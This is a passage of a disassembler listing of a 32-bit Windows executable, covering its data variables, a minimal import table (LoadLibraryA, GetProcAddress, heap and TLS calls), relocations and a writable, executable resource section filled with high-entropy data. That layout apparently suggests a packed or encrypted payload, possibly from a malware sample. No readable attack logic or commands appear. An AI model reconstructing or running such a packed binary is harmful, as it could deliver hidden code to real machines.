dword_4055A0	dd ?				dd 6 dup(?)
dword_4055BC	dd ?							; sub_401A80+19w
		dd 2Ah dup(?)
byte_405668	db ?			; DATA XREF: sub_401BECr
		align 4
dword_40566C	dd ?							; sub_401C38+16r ...
dword_405670	dd ?							; CODE:loc_401CB8w
dword_405674	dd ?		dword_405678	dd ?							; sub_401CF0w
dword_40567C	dd ?							; sub_401D40w
dword_405680	dd ?							; sub_401F54w
dword_405684	dd ?							; sub_4021E8w
dword_405688	dd ?							; sub_401F68+DBr
; HMODULE hModule
hModule		dd ?			; DATA XREF: sub_401F68+88w
					; sub_401F68+A8r ...
dword_405690	dd ?							; sub_4026DC+296r
dword_405694	dd ?							; sub_4021F0+22Ew ...
dword_405698	dd ?							; sub_4026DC+15Fr
dword_40569C	dd ?							; sub_4026DC+102r
dword_4056A0	dd ?							; sub_4026DC+DCr
dword_4056A4	dd ?							; sub_4026DC+98r
dword_4056A8	dd ?							; sub_4026DC+189r ...
dword_4056AC	dd ?		dword_4056B0	dd ?							; sub_4026DC+206r
dword_4056B4	dd ?							; sub_4026DC+118r
dword_4056B8	dd ?							; sub_4021F0+234r ...
dword_4056BC	dd ?							; sub_4026DC+28Ar
dword_4056C0	dd ?							; sub_4029ECw
dword_4056C4	dd ?							; sub_4029FC+A6r ...
dword_4056C8	dd ?		dword_4056CC	dd ?							; sub_402DE0+3Dr ...
dword_4056D0	dd ?							; sub_402E5C+16r
dword_4056D4	dd ?							; sub_4031A4+Dr
dword_4056D8	dd ?							; sub_4031A4+1Cr
dword_4056DC	dd ?							; sub_4031A4+2Br
dword_4056E0	dd ?							; sub_4031A4+34r
dword_4056E4	dd ?							; sub_4031A4+41r
dword_4056E8	dd ?							; CODE:004033A9r ...
dword_4056EC	dd ?							; CODE:00403301r ...
dword_4056F0	dd ?							; CODE:0040330Co ...
dword_4056F4	dd ?							; CODE:004032DCr
		db ?
BSS		ends

;
; Imports from kernel32.dll
;
; Section 4. (virtual address 00006000)
; Virtual size			: 00000236 (	566.)
; Section size in file		: 00000400 (   1024.)
; Offset to raw	data for section: 00002C00
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Externs
; _idata
; DWORD	__stdcall GetCurrentThreadId()
		extrn __imp_GetCurrentThreadId:dword ; DATA XREF: GetCurrentThreadIdr
; void __stdcall ExitProcess(UINT uExitCode)
		extrn __imp_ExitProcess:dword ;	DATA XREF: ExitProcessr
		extrn RtlUnwind:dword	; DATA XREF: CODE:loc_401060r
; void __stdcall RaiseException(DWORD dwExceptionCode,DWORD dwExceptionFlags,DWORD nNumberOfArguments,const ULONG_PTR *lpArguments)
		extrn RaiseException:dword ; DATA XREF:	CODE:loc_401058r
; LPSTR	__stdcall GetCommandLineA()
		extrn __imp_GetCommandLineA:dword ; DATA XREF: GetCommandLineAr
; BOOL __stdcall TlsSetValue(DWORD dwTlsIndex,LPVOID lpTlsValue)
		extrn __imp_TlsSetValue:dword ;	DATA XREF: TlsSetValuer
; LPVOID __stdcall TlsGetValue(DWORD dwTlsIndex)
		extrn __imp_TlsGetValue:dword ;	DATA XREF: TlsGetValuer
; HLOCAL __stdcall LocalAlloc(UINT uFlags,SIZE_T uBytes)
		extrn __imp_LocalAlloc:dword ; DATA XREF: LocalAllocr
; HMODULE __stdcall GetModuleHandleA(LPCSTR lpModuleName)
		extrn __imp_GetModuleHandleA:dword ; DATA XREF:	GetModuleHandleAr
; DWORD	__stdcall GetModuleFileNameA(HMODULE hModule,LPCH lpFilename,DWORD nSize)
		extrn __imp_GetModuleFileNameA:dword ; DATA XREF: GetModuleFileNameAr
; BOOL __stdcall FreeLibrary(HMODULE hLibModule)
		extrn __imp_FreeLibrary:dword ;	DATA XREF: FreeLibraryr
; BOOL __stdcall HeapFree(HANDLE hHeap,DWORD dwFlags,LPVOID lpMem)
		extrn __imp_HeapFree:dword ; DATA XREF:	HeapFreer
; LPVOID __stdcall HeapReAlloc(HANDLE hHeap,DWORD dwFlags,LPVOID lpMem,SIZE_T dwBytes)
		extrn __imp_HeapReAlloc:dword ;	DATA XREF: HeapReAllocr
; LPVOID __stdcall HeapAlloc(HANDLE hHeap,DWORD	dwFlags,SIZE_T dwBytes)
		extrn __imp_HeapAlloc:dword ; DATA XREF: HeapAllocr
; HANDLE __stdcall GetProcessHeap()
		extrn __imp_GetProcessHeap:dword ; DATA	XREF: GetProcessHeapr

;
; Imports from user32.dll
;
; LPSTR	__stdcall CharNextA(LPCSTR lpsz)
		extrn __imp_CharNextA:dword ; DATA XREF: CharNextAr

;
; Imports from kernel32.dll
;
; HMODULE __stdcall LoadLibraryA(LPCSTR	lpLibFileName)
		extrn __imp_LoadLibraryA:dword ; DATA XREF: LoadLibraryAr
; FARPROC __stdcall GetProcAddress(HMODULE hModule,LPCSTR lpProcName)
		extrn __imp_GetProcAddress:dword ; DATA	XREF: GetProcAddressr
; BOOL __stdcall FreeLibrary_0(HMODULE hLibModule)
		extrn __imp_FreeLibrary_0:dword	; DATA XREF: FreeLibrary_0r

;
; Imports from kernel32.dll
;
; FARPROC __stdcall GetProcAddress_0(HMODULE hModule,LPCSTR lpProcName)
		extrn __imp_GetProcAddress_0:dword ; DATA XREF:	GetProcAddress_0r


; Section 5. (virtual address 00007000)
; Virtual size			: 00000004 (	  4.)
; Section size in file		: 00000000 (	  0.)
; Offset to raw	data for section: 00003000
; Flags	C0000000: Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Regular
; Segment permissions: Read/Write
_tls		segment	para public '' use32
		assume cs:_tls
		;org 407000h
		assume es:nothing, ss:nothing, ds:CODE,	fs:nothing, gs:nothing
TlsStart	dd ?			; DATA XREF: .rdata:TlsDirectoryo
_tls		ends

; Section 6. (virtual address 00008000)
; Virtual size			: 00000018 (	 24.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 00003000
; Flags	50000040: Data Shareable Readable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read
_rdata		segment	para public 'DATA' use32
		assume cs:_rdata
		;org 408000h
TlsDirectory	dd offset TlsStart
TlsEnd_ptr	dd 407004h
TlsIndex_ptr	dd offset TlsIndex
TlsCallbacks_ptr dd offset TlsSizeOfZeroFill
TlsSizeOfZeroFill dd 0			; DATA XREF: .rdata:TlsCallbacks_ptro
TlsCharacteristics dd 0
		align 200h
_rdata		ends

; Section 7. (virtual address 00009000)
; Virtual size			: 000002E0 (	736.)
; Section size in file		: 00000400 (   1024.)
; Offset to raw	data for section: 00003200
; Flags	50000040: Data Shareable Readable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read
_reloc		segment	para public 'DATA' use32
		assume cs:_reloc
		;org 409000h
		dd 1000h, 10Ch,	300A3002h, 301A3012h, 302A3022h, 303A3032h
		dd 304A3042h, 305A3052h, 306A3062h, 307A3072h, 30883082h
		dd 30A23099h, 30C430BBh, 30EE30D6h, 3128310Fh, 31523141h
		dd 31743167h, 34F63194h, 35333512h, 35933559h, 35AA3599h
		dd 35BF35B9h, 35DD35CDh, 35FA35F0h, 360435FEh, 360D3608h
		dd 361A3614h, 36283622h, 36423638h, 366E3669h, 36953673h
		dd 36B4369Eh, 36E736CCh, 370F3706h, 37423735h, 3A8139ABh
		dd 3A953A8Ah, 3AAA3A9Ah, 3ABE3AB1h, 3AEB3ADFh, 3AF93AF3h
		dd 3B163B06h, 3B293B23h, 3B343B2Dh, 3B463B3Dh, 3BB63B57h
		dd 3BEE3BE0h, 3C0C3BF3h, 3C2D3C1Ch, 3C4A3C3Eh, 3C543C4Fh
		dd 3C623C5Bh, 3C833C6Ch, 3C963C8Fh, 3CBA3CA8h, 3CD33CC7h
		dd 3CF23CE0h, 3D023CFAh, 3D173D0Ah, 3D303D23h, 3EDF3D42h
		dd 3F2B3F01h, 3F443F37h, 3F883F56h, 3FD93FD4h, 3FF93FF1h
		dd 3FFEh, 2000h, 12Ch, 301C3011h, 304A3045h, 31013070h
		dd 31BF3192h, 31D831CBh, 320231EAh, 3218320Ah, 323A321Dh
		dd 325D323Fh, 32803262h, 329B3285h, 32A832A3h, 32C632BEh
		dd 32E132CBh, 32EE32E9h, 330C3304h, 33273311h, 3334332Fh
		dd 3352334Ah, 336D3357h, 337A3375h, 33983390h, 33B3339Dh
		dd 33C033BBh, 33E133D9h, 33FC33E6h, 34093401h, 3426341Fh
		dd 343D3430h, 36883630h, 370536D3h, 37993776h, 37E037BAh
		dd 383D37F6h, 38BB3867h, 391238E4h, 39563940h, 39743968h
		dd 39C33996h, 39DC39CFh, 39F639EEh, 3A203A12h, 3A423A25h
		dd 3A643A47h, 3A823A69h, 3A8F3A8Ah, 3AA93AA4h, 3AB63AB1h
		dd 3AD03ACBh, 3ADD3AD8h, 3AF73AF2h, 3B043AFFh, 3B1E3B19h
		dd 3B2B3B26h, 3B453B40h, 3B523B4Dh, 3B6C3B67h, 3B793B74h
		dd 3B933B8Eh, 3BA03B9Bh, 3BBA3BB5h, 3BC73BC2h, 3BE13BDCh
		dd 3BEE3BE9h, 3C093C03h, 3C1B3C11h, 3DF23C2Ch, 3E413E1Fh
		dd 3EAE3E74h, 3ECF3ECAh, 3EF83EF3h, 3FCA3F17h, 3FEB3FE6h
		dd 3000h, 74h, 30813020h, 30AF30A7h, 30D430B4h,	3184312Ch
		dd 31B331ACh, 31C231BBh, 31D131CAh, 31E731DAh, 32363223h
		dd 324C3248h, 32543250h, 325C3258h, 32643260h, 326C3268h
		dd 32743270h, 327C3278h, 32883280h, 32AF32A2h, 32C932C4h
		dd 32E932DDh, 330332FDh, 331C330Dh, 33383333h, 334F3345h
		dd 3392336Eh, 33B333ABh, 33C0h,	4000h, 20h, 30183014h
		dd 3020301Ch, 302C3024h, 30343030h, 30583054h, 309C305Ch
		dd 8000h, 14h, 30043000h, 300C3008h, 49h dup(0)
_reloc		ends

; Section 8. (virtual address 0000A000)
; Virtual size			: 0000D400 (  54272.)
; Section size in file		: 00008000 (  32768.)
; Offset to raw	data for section: 00003600
; Flags	F0000060: Text Data Shareable Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_rsrc		segment	para public 'CODE' use32
		assume cs:_rsrc
		;org 40A000h
		assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
		dd 2 dup(0)
		dd 4, 10000h, 0Ah, 80000018h, 2	dup(0)
		dd 4, 1, 80000058h, 80000030h, 2 dup(0)
		dd 4, 10000h, 0
		dd 48h,	0A060h,	639Eh, 4E4h, 0
		dd 530002h, 57h, 7055BD2Ch, 33FC8E27h, 228E7799h, 0B4CE32CCh
		dd 461EBC1Ah, 8DCDAD7Dh, 0DEC8A94Bh, 0CF3BB7ECh, 440933C3h
		dd 0A175544Bh, 0B0147A84h, 8DBCE16Eh, 0F5AC21F6h, 86032BB5h
		dd 0AE69F418h, 0D45086D9h, 58EE44CEh, 0E17646Bh, 294CE651h
		dd 2F50E3D3h, 0CF0329D7h, 0FD7B5466h, 0AE0E00F6h, 9603F7B4h
		dd 2A6B06B5h, 687C4160h, 0CC341299h, 0DB19CCEEh, 547D2699h
		dd 8F46916Ch, 9A861CA9h, 708472B4h, 1F377AE1h, 3BB370F5h
		dd 0C55FC22Ah, 0E8F18C92h, 0DEE6B46Bh, 0E1D860F7h, 0EDBF049h
		dd 0B868C680h, 0DC9E2CF2h, 0FCA58AA0h, 330F840Ah, 7DB0D489h
		dd 0DCA7F2F0h, 3072D7C9h, 0CE2B4A58h, 453FFB6Eh, 0BA28B722h
		dd 918868B1h, 0BAD43C20h, 8507EC07h, 4F7E9144h,	1C5295B3h
		dd 8CA2C6E7h, 0C2E7727h, 69868C6h, 2841EEC4h, 40953E08h
		dd 4B8CBDBEh, 539FA022h, 184EA711h, 0A1695A9Bh,	0AD58EAF7h
		dd 376EDDEh, 4282BE7Ch,	4014AD48h, 1488AFDEh, 300F6A3h
		dd 0C7A57087h, 4E26806Bh, 0B147B9E3h, 31E2EE9Dh, 902BB379h
		dd 1B3F112Eh, 0F9724044h, 0F5909F75h, 3E07558Ah, 85A70064h
		dd 699A85E1h, 0D87F7CE2h, 8B47A576h, 781F255Bh,	549918AFh
		dd 2429B576h, 6033B996h, 0BBF5A32Ch, 0D3093496h, 0DBF788D8h
		dd 3DD1403Bh, 0B1239D0Dh, 28F92742h, 0DBC44D7Ah, 788F4351h
		dd 7B966C2Eh, 0BB27356Ah, 4937C0F9h, 511D994Bh,	8B289007h
		dd 0F931AABFh, 0BF9D6AF5h, 377B9866h, 0E3FA4AE8h, 0C45C5261h
		dd 50230AFCh, 8FDB10ECh, 0FA46AF3Bh, 8D7EEDC6h,	635BAB76h
		dd 0CD41E65Fh, 42611F4h, 0AC776A9Fh, 6958D60Ch,	0C6D4BEE3h
		dd 9DFAF3E2h, 553EBE12h, 1081CAF8h, 0BF414249h,	0A1D47EFBh
		dd 92667698h, 2D5797B1h, 0B83E1BA0h, 2328A4FCh,	523E99Fh
		dd 63654095h, 3FA72875h, 10A28CACh, 17BCD8C7h, 19D97EC2h
		dd 8C5BBB89h, 0C5AB76A1h, 9A01A05Ch, 18057947h,	97F2588Dh
		dd 5E24AF4Ah, 6F7806ECh, 3280C99Eh, 5E1E4EC9h, 27341E85h
		dd 0CEA8F010h, 2F8B2F17h, 55FCE5FEh, 32980333h,	3E2A8DAAh
		dd 4CF20092h, 66F6890Dh, 0D2D97CB8h, 44110A25h,	0CE68BB28h
		dd 0BAEC11EBh, 1A777613h, 5196A7D3h, 5744212Eh,	0AC415D88h
		dd 88C55C6Bh, 0F7D779ABh, 0DF6D51B6h, 0E5D5121Fh, 0E7368BCFh
		dd 0F41A80B5h, 0DE84E750h, 32FCC0Ch, 0CEF70B3Dh, 2D3CA768h
		dd 6C78EBC3h, 0D949CC45h, 34A23979h, 0DC26FC04h, 0E6908ED4h
		dd 7FAC0C4Fh, 0DDE3C4A0h, 3285A80h, 82E0A876h, 3F48D968h
		dd 3BD417C5h, 0FAD8D198h, 87845F8Dh, 0EC83FBB9h, 92F81836h
		dd 3FA567C9h, 6E71743Fh, 0EF5DD39Dh, 6F62493Ah,	24B0DB1Fh
		dd 59EFD115h, 88E48B0Ch, 400ED7D2h, 0D634E96Ah,	0D3D1859Dh
		dd 0C3FCBF96h, 0E155B663h, 4B73BD55h, 6DF41391h, 0AED81BFFh
		dd 85AD4384h, 21D43226h, 0B80935DBh, 0EFDE7502h, 0B9FEA8D3h
		dd 6D4C24EBh, 0F517AC64h, 655AA500h, 0AD8D0C69h, 8A61A3D4h
		dd 6E30763Eh, 0D796081Ah, 0ABE3072Dh, 6EB48BD8h, 0F081F076h
		dd 2B537E05h, 834CD339h, 3D3264C4h, 847CF02Eh, 12EE2524h
		dd 98A59CE5h, 94B6162Eh, 2FCC080Ch, 31CE90ECh, 0E861412Ch
		dd 0ACB0DB52h, 0B2A002CEh, 982F1876h, 9B90CE7Bh, 0E03324F7h
		dd 4FF45B9Ah, 30177A62h, 4CED7F88h, 734D6204h, 0A2951E52h
		dd 1A37BBDh, 741768E3h,	2365FAA5h, 0ADBADFF0h, 0C2C501C1h
		dd 49590603h, 7CAB4BB0h, 6D83F849h, 0CF2FBD43h,	0A78E6394h
		dd 4B15CE1Ah, 180BD20Dh, 0BD959238h, 3573F9D4h,	7463718Fh
		dd 9CDDF47Eh, 0D803844h, 0AACED729h, 816C419Ah,	0CB149CBCh
		dd 4630CAD4h, 0A74C04A5h, 0A90B9DCCh, 80CA7C14h, 0BFA4F230h
		dd 4D15AD58h, 0AEF1DA77h, 0FC09EF38h, 4108F992h, 68B8AE13h
		dd 8A5A5FBFh, 1D6B1698h, 0EC00F9FDh, 29A0D744h,	0B1C8FFDDh
		dd 6D9FDC08h, 0B666AD61h, 0DC7F4D2Dh, 8589CCFCh, 0ACC006F2h
		dd 91896418h, 0A60A4488h, 2A8A196Ch, 6143B71Dh,	80A583BBh
		dd 0D91F1B09h, 770B7143h, 278FDFD5h, 56EC8D16h,	6596AF6h
		dd 5FE8E317h, 639DE62h,	0B8088714h, 4760C370h, 0EDE5EF4Eh
		dd 0DDF32C7Eh, 4D940D62h, 73FA2AA6h, 0AD33B164h, 0C37705CCh
		dd 0BB9C6607h, 67E21682h, 0EF75B213h, 0A25C70FDh, 0AC4BBD6Ch
		dd 2800D003h, 7AC6E9E6h, 2C84E6ABh, 0E3100255h,	7020523Bh
		dd 867A182Fh, 5CFB376Bh, 0EF453F6Fh, 0FCE1C733h, 41221ED0h
		dd 9B7E8995h, 879D928Fh, 42847D90h, 3C316BB9h, 55C5D812h
		dd 0AA6AD36Ah, 0D4DBD11Ah, 0FF653923h, 0D09C6794h, 49FA0ECAh
		dd 0C2257AD6h, 4D3F1EF4h, 0AEDBA75Dh, 0BFA3772Ch, 0CCBE0F3Dh
		dd 93D007DCh, 5BBDD7B2h, 0AA4AD911h, 91129A28h,	0FD26FACBh
		dd 46C6AABBh, 0A8027E1Dh, 0D02BE5ECh, 0E79AC988h, 0E79CD6FBh
		dd 15C24E75h, 955E7B12h, 1E8A660Dh, 8D1185F2h, 0B910A16Fh
		dd 34597D80h, 0AA634D1Bh, 202DEA5Dh, 0C7EB1C1Bh, 65931A9Bh
		dd 44E0CB0h, 0BF299596h, 71776CBCh, 9AFAD269h, 31EA5190h
		dd 8FDFEBEAh, 0FB2A781Dh, 49619328h, 5279668Fh,	59C0D8B1h
		dd 5C698E0Ch, 8B80F325h, 0BEA79360h, 1554FFBBh,	3FC0D574h
		dd 82411EEDh, 6FAB50DEh, 97A1D9E4h, 9A0BFF2Bh, 1AF2DC9Dh
		dd 8BFE308Eh, 0BF1E734Ch, 0A2BD4C7Bh, 0B5A40003h, 1BBE891Ah
		dd 261BE431h, 2A23F3C4h, 5D9D40B7h, 0EBE4CB70h,	73AAE15Eh
		dd 4CCD736Eh, 0A2B71877h, 86F3A4BCh, 0C906A25Dh, 59F79072h
		dd 46FE0FDh, 4F1E0385h,	0E13014D6h, 0B5BBD299h,	0D8E1EF88h
		dd 0E0850DD7h, 274635F8h, 50E4E87Bh, 6F00C2E3h,	1A750AABh
		dd 0B8BF5415h, 0D823CAACh, 0E61BB0E8h, 4695E44h, 0A27B556Eh
		dd 99422328h, 59A8167Ah, 858863A0h, 2D36443Ch, 82C66F57h
		dd 0A547B891h, 7DA6261h, 92B63C34h, 0ABA0261Ch,	7167F92Fh
		dd 364B73DDh, 20CF5311h, 7359304Ah, 0E05573D6h,	3F5F8A18h
		dd 56E190C2h, 667FA4A5h, 0F1DEDD1Ah, 1952CA44h,	274825CEh
		dd 0DC023B63h, 18D0D689h, 0A434E3D2h, 0BC761794h, 6482D2Ah
		dd 961203CBh, 756F9468h, 0BAE78DDAh, 0E3A962Eh,	6FC07E91h
		dd 0C53DFDB1h, 0A9B89D50h, 13D1AA20h, 0BC34B15Ch, 79610ACBh
		dd 0D933217Eh, 1575576Dh, 0A0034B04h, 5879CA68h, 0A8F8E50Eh
		dd 0B28754F8h, 16BD821Ch, 0E66E6531h, 360A2D37h, 9D53020Eh
		dd 877C10FBh, 0D1F6EC96h, 0EEA0D7h, 7025336Fh, 895D468Ch
		dd 7001C873h, 0CBEE5BE6h, 0F9A91AD6h, 57D7A192h, 28670270h
		dd 0AB148371h, 98E1EC25h, 527BC7DEh, 0F4982D6Ch, 0B3AF09FEh
		dd 0DB8883A2h, 1262B615h, 0A8EE16A7h, 5277ADF0h, 7211283Dh
		dd 0ACF02E6Eh, 28B2D68Bh, 50F2BB9h, 7208EB29h, 0AC16D4F2h
		dd 1535897Eh, 6B6A4AD7h, 0EC931700h, 8D3EC93Ah,	51F4A13Eh
		dd 5D9D1410h, 2932D09h,	5CA72960h, 0FE809779h, 2A0CBF67h
		dd 0A1A1A003h, 0EAF92B9Ch, 80461D5Dh, 1146E656h, 0A9D3C51Eh
		dd 10AEF07h, 2F50E11Ch,	8D28441Bh, 5FF17EE0h, 8C4A688h
		dd 6DFC4B4Dh, 0A7805FD1h, 0F5179153h, 2A781B65h, 0BB97B221h
		dd 43F03CEh, 0B4C08693h, 0D9F9FC77h, 0A3450186h, 0BB558521h
		dd 0E10C988Fh, 29F20116h, 0F92AC8C0h, 0EEBBB8FEh, 0D8EF31A4h
		dd 94721965h, 0AD88CFAAh, 0CCCBD377h, 0B0ABEDF1h, 0F71AF5C3h
		dd 18887F7Bh, 0ED3CC4A7h, 7246F754h, 0EC386C54h, 1D0F3C53h
		dd 96BBD511h, 1A781C32h, 2F4A3152h, 241747FEh, 0F76C03Dh
		dd 5F4DE797h
		dd 0A067ACE4h, 4FFE4203h, 34318926h, 8ED84F34h,	8F4A3829h
		dd 9AACEB0Bh, 0C235955Bh, 0EC50208Eh, 79556B12h, 0D135D201h
		dd 4F883D1Dh, 0F49C2C38h, 0BD73AC1Eh, 7DA7F6A7h, 0C1FACFF5h
		dd 0BCBD48BDh, 0DB524C53h, 0EF988B61h, 5FEB87CEh, 0D2AFDEA4h
		dd 0F900289Fh, 5950F026h, 0A1F483E0h, 72092ABDh, 8DF07EE4h
		dd 0AFF0B9C8h, 0ABE138AFh, 5CA15E1Ah, 4833E5BFh, 76371CB3h
		dd 0D52FB8D7h, 0A106F157h, 0AE4CBDFCh, 8815E784h, 0BCA08760h
		dd 57513EBBh, 0D4664B2Bh, 3F01A338h, 43FBE7CDh,	60BB8A67h
		dd 0F31C381h, 7A240DD6h, 2C5F9DB8h, 5A8A58CFh, 0FDD57BBCh
		dd 23E1E9E0h, 2E8E0834h, 5CA94C00h, 7FAC72F6h, 4AEC4B1Bh
		dd 0F9B50D67h, 0AE07C85Dh, 12C7EFEDh, 0E4062BD7h, 147E9B72h
		dd 49DE8EFBh, 0F5C3D599h, 2547F12Ch, 1135CB91h,	0EA47EC35h
		dd 93008B4h, 2551AC79h,	15168E7Eh, 0AE9DF69h, 33E60352h
		dd 0CF1488D7h, 6533D49Ah, 0B1BCBFE0h, 0F2D05497h, 47D94FAh
		dd 0B66B346Ah, 178101A5h, 34FE3818h, 8796A308h,	5E088356h
		dd 4D509794h, 397CE339h, 7C03C457h, 42FF5376h, 490BE83Ch
		dd 59E386ADh, 265CCED4h, 807C5F7Eh, 0E552EA6Ch,	0B7859A99h
		dd 1516F68Ch, 0BC9F0727h, 0D031C05Ah, 981DB4F5h, 21DFB79Dh
		dd 99302F72h, 0F679889Ch, 0B16E9575h, 0A85E31ABh, 6CC5F7A8h
		dd 795238BEh, 782BAB94h, 2CD82022h, 7A723423h, 9F9BE2E3h
		dd 154F3E7Bh, 0FBE43881h, 0EBD53501h, 856EBB62h, 0D697F1D7h
		dd 0C859B20h, 6E441BC0h, 131D40A5h, 0F7F498CDh,	12E1EEB3h
		dd 0ABBA10EBh, 0AB4864DEh, 0CE06F80Ch, 455976AEh, 0C7F60796h
		dd 6BAAD036h, 50EC26DAh, 3715AE8Eh, 0A67C0A4Fh,	0F43B51A4h
		dd 4187DF08h, 1E3B4E37h, 0B80F8359h, 0D0AD113Eh, 7C13996h
		dd 0EE2FD0B5h, 63C74834h, 0E8BBFAD1h, 0A4E83DBEh, 123DE557h
		dd 0CA4FB48Dh, 0C2B55BA2h, 0FB13ED38h, 1AA1316Eh, 131B25EBh
		dd 510044B3h, 3B5770E6h, 3AC3FECBh, 95086272h, 1497EDEBh
		dd 338119CEh, 0ED9FAA1Eh, 3A00C160h, 344F2B8Bh,	9F6198A4h
		dd 7306BCF2h, 87B44222h, 0B195F93Ah, 0D9E0E14Eh, 7ED696FCh
		dd 18364B26h, 8C4C124Ch, 0BF5947C5h, 51D99885h,	0D499B0F8h
		dd 99B770EFh, 0F3E76480h, 6DC7FDF4h, 10F196CBh,	0C3BF09FDh
		dd 7B3FBCC2h, 27EE07D6h, 3ADDCBF7h, 177193FEh, 0FE9B967Dh
		dd 0C462BFD9h, 0F10B0082h, 86B663FAh, 0DA2D17E2h, 83913A12h
		dd 31CDA85Fh, 0B82B9DD4h, 6F07E62Ch, 285C2545h,	43F83AD7h
		dd 14B0AC3Dh, 76179972h, 72655E88h, 0AEF3890h, 0B7015E7h
		dd 36494974h, 22B7F512h, 0E9FE6901h, 623B23E9h,	3FB1F5B0h
		dd 440B1901h, 0DD5981FCh, 14E46791h, 5F0E3A2Dh,	0B45761C5h
		dd 35D7EB0Ah, 40B14F1Ah, 766D063Bh, 0BBF81F73h,	341D84Ah
		dd 8CB013B7h, 321F0016h, 0B6187A30h, 582AFEDBh,	42A554F4h
		dd 7EF8365Fh, 0F811F764h, 0B30BB07h, 0A9F7ABF7h, 0B9FBC49h
		dd 0D8F0E037h, 97E33073h, 1DF172EDh, 7F485AE3h,	0CD1353B2h
		dd 0F930F79Ch, 8F0D34E0h, 6F9B8A9Ah, 3B564DCDh,	88B34167h
		dd 0EDCA38EDh, 5F99942Ch, 0D4B97F4Dh, 17940D96h, 9F54AF9h
		dd 5CA23406h, 0FCC282A1h, 96C096D5h, 385AE4E6h,	7B7E9A59h
		dd 0B529C94Dh, 0BF5DCD0Fh, 0E14FBEA5h, 4C274303h, 0ED1C0287h
		dd 91907ECAh, 0C26A2929h, 0CE91B936h, 0E6A82A29h, 14707912h
		dd 0C1D8A318h, 445882AAh, 8C477EB0h, 3937060h, 8C9B2D47h
		dd 60A34D18h, 19D39163h, 323B71C1h, 5D02343h, 87F514FBh
		dd 43EA1528h, 874538EAh, 0F3A87171h, 93BA9B48h,	0D21C5A77h
		dd 237C5147h, 9E932068h, 0DB0117BDh, 3D801AFAh,	51E058C7h
		dd 5F7F25A5h, 70C3ADD8h, 41E9CFDEh, 0CF13BEF8h,	9934C4C0h
		dd 81F16935h, 879C55ECh, 0DED16BDCh, 1C712228h,	1C71FDEEh
		dd 0C3DD0C03h, 2CF14DE0h, 5AFC65B5h, 21004A80h,	94830D7Fh
		dd 830BDB1h, 7BBD2569h,	0C6FE8445h, 0CFFA34F7h,	0FA007AFFh
		dd 59877618h, 0ABCEAB11h, 0B65C16A3h, 94B3D5DBh, 66B21017h
		dd 39982DF6h, 0BA637317h, 64D640AEh, 6186A76h, 0C0704791h
		dd 48670599h, 19A8F941h, 0F9D6591Bh, 108264C2h,	587C810Eh
		dd 33575899h, 0A904DB56h, 4C1343D7h, 589075F7h,	9670C243h
		dd 0FA678DC6h, 0D05E2662h, 0D4D2D857h, 32062325h, 0E3CFA976h
		dd 0FFEBD06h, 0C06F7D6Bh, 7D770379h, 0A8EC7A72h, 0B7B7FCECh
		dd 0EF470D49h, 536A4A4Fh, 0FE2789DDh, 55F48CA2h, 926C116Ah
		dd 3AECE893h, 0F1E044ECh, 0A3C0E299h, 7B3DCCB2h, 0F2E7A1Ch
		dd 4130B121h, 0C8947A1Bh, 868ED3D1h, 92DCE0DDh,	5224F424h
		dd 0B1A79C78h, 1C45F395h, 0BE26BDD4h, 0DAE390DEh, 0B3469773h
		dd 0BC71CEF5h, 47327318h, 7C759A69h, 4B2715CFh,	39A6075Fh
		dd 0FB228817h, 0C211A85Ch, 0E68AFB95h, 298B209Fh, 0D8437AD5h
		dd 0E93140BBh, 0BC46BC4Ah, 0EEACC1C6h, 0D2009B10h, 0F6A25462h
		dd 0E65B441Ch, 0DEDE476Eh, 75AECDC2h, 0DE1F2892h, 3D8BF462h
		dd 1A1BE6CDh, 7D5D21E7h, 4C3C12E4h, 0DA83C3B5h,	0FE085DCBh
		dd 5B0E2B45h, 4BE8CE0h,	7DD6F297h, 0B8C8FE17h, 0B152F55Eh
		dd 0C16B34B7h, 35A3222Bh, 0BECB39B0h, 8A79543Ah, 0E1F3A31Fh
		dd 50E9253Dh, 437D961Bh, 4F21E715h, 82FCFB6Ah, 0AEEECADEh
		dd 232B389h, 0BF866F68h, 0AD82EEECh, 1846699Eh,	0E5E027A1h
		dd 0D8012A6Eh, 3B7DC04Ah, 0CC8F5F4Dh, 40B82A65h, 335FD9F8h
		dd 62ABF27Dh, 0CE620751h, 0F5C73160h, 50FB720Fh, 65EAFE24h
		dd 5B6FED7Ah, 7BE55E5Dh, 0F743116Ch, 3A6AE4C8h,	7EE5A2F3h
		dd 19181Ah, 14E4F7BFh, 2D038992h, 0B352CB5Ah, 0BC5CE0BBh
		dd 0AF7DBC81h, 943C9C4h, 1A71770h, 6B7B2997h, 4EACFEA4h
		dd 6A07FC60h, 64908C3h,	448D6D6Eh, 100062ACh, 5B4D208Ah
		dd 139969D7h, 0DB316CD0h, 835783E6h, 47955584h,	12637A6Ah
		dd 444775C3h, 3FAF3CEFh, 75ABEB27h, 5BA7434Ch, 0BEFD46F5h
		dd 6715A38Dh, 65958048h, 83BADF4Dh, 0B465C54Dh,	0B855F67Ah
		dd 0D5A690DDh, 0F01ED75h, 923E6558h, 975C7F67h,	0D1FE2115h
		dd 2A23FCEAh, 5C6AE6E5h, 486EF062h, 268871FBh, 294960D8h
		dd 6E97D3F5h, 4B9A023Bh, 0B3315F4Fh, 0AFDCE8DFh, 0BE4E282Bh
		dd 93C6161Ch, 1A2B0466h, 0F0A385FEh, 40E36E4Dh,	0F64E7379h
		dd 0B283525h, 200E1618h, 18C7025Fh, 75A3E3B2h, 0AEDAE013h
		dd 0E4508E7h, 0F48FB6E6h, 0BD4575D7h, 5FB91823h, 0BACF693Bh
		dd 0ADB60639h, 19FB38C8h, 0A1900C9Ch, 0E31D9505h, 655B2E3Ah
		dd 84D0FE46h, 820759D3h, 1B613E87h, 0A32B91CCh,	0BCA2ED5Bh
		dd 0C821F461h, 7214B31Fh, 1AD51498h, 0B7D46DA8h, 55B7CF72h
		dd 0F28C1961h, 36EF18F0h, 0A606BD2Ah, 9EB0589Eh, 173B4DA5h
		dd 0EB0E717Eh, 0EAABF10Ah, 0A81BC390h, 9DDC86A4h, 0D97B03E5h
